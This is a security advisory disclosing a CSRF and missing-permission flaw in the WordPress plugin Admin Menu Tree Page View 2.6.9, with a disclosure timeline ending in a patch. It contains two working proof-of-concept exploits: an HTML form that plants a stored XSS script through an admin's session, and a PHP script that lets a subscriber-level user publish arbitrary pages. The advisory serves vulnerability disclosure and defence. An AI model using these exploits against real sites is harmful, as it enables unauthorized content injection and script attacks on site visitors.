Admin Menu Tree Page View [CSRF, Privilege Escalation]

[Panagiotis Vagenas <pan.vagenas@xxxxxxxxx>]

* Exploit Title: Admin Menu Tree Page View [CSRF, Privilege Escalation]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://eskapism.se/
* Software Link: https://wordpress.org/plugins/admin-menu-tree-page-view
* Version: 2.6.9
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress


Description
-----------

Plugin implements AJAX action `admin_menu_tree_page_view_add_page` which
calls back the function `admin_menu_tree_page_view_add_page`. The later
does not implement any anti-CSRF controls or security checks.

Leveraging a CSRF attack an attacker could perform a Persistent XSS
attack if the victim has administrative rights (see PoC).

The AJAX action is a privileged one so it's only available for
registered users. Even so it doesn't implement any capabilities checks
so it's available to all users no matter the access level. This could
allow any registered user to create arbitrary posts no matter the access
level.

PoC
---

### CSRF -> Persistent XSS

In this PoC we exploit the `$_POST["page_titles"]` param to perform a
Persistent XSS attack.

```
<pre class="lang:html decode:true "><form method="post"
action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php";>
    <input type="hidden" name="action"
value="admin_menu_tree_page_view_add_page">
    <input type="text" name="type" value="after">
    <input type="text" name="pageID" value="1">
    <input type="text" name="post_type" value="page">
    <input type="text" name="page_titles[]"
value="<script>alert(1)</script>">
    <input type="text" name="post_status" value="publish">
    <button type="submit" value="Submit">Submit</button>
</form>

```

### Create Arbitrary Posts

In this PoC we use a user with subscriber access to create arbitrary
pages. The post\_type is user defined so in the same manner we could
create any post type.

```
#!/usr/bin/env php
<?php
/*******************************************************************************
 * Admin Menu Tree Page View [Privilege Escalation]
 *
 * To install deps run `composer require wordfence/exkit`.
 *
 * @author Panagiotis Vagenas <pan.vagenas@xxxxxxxxx>
 * @date 2017-08-09
 ******************************************************************************/

require_once __DIR__ . '/vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );

$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
$s->XDebugOn();

Cli::writeInfo( 'Logging in as subscriber...' );

WPAuthentication::logInAsUserRole( $s,
WPAuthentication::USER_ROLE_SUBSCRIBER );

Cli::writeInfo( 'Sending payload...' );

$postData = [
    'action'      => 'admin_menu_tree_page_view_add_page',
    'type'        => 'after',
    'pageID'      => '1',
    'post_type'   => 'page',
    'page_titles' => [ '<script>alert(1)</script>' ],
    'post_status' => 'publish',
];

$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);

if(!$r->success || !$r->body == '0'){
    ExitCodes::exitWithFailed('Failed to retrieve a valid response');
}

ExitCodes::exitWithSuccess('Exploitation successful');

```

Timeline
--------

1. **2017-12-12**: Discovered
2. **2017-12-12**: Tried to contact plugin author through WordPress.org
support threads
3. **2017-12-13**: Tried to contact plugin author by creating an issue
in plugin's repository on Github
4. **2017-12-13**: Vendor replied
5. **2017-12-14**: Vendor received details
6. **2018-01-07**: Patch released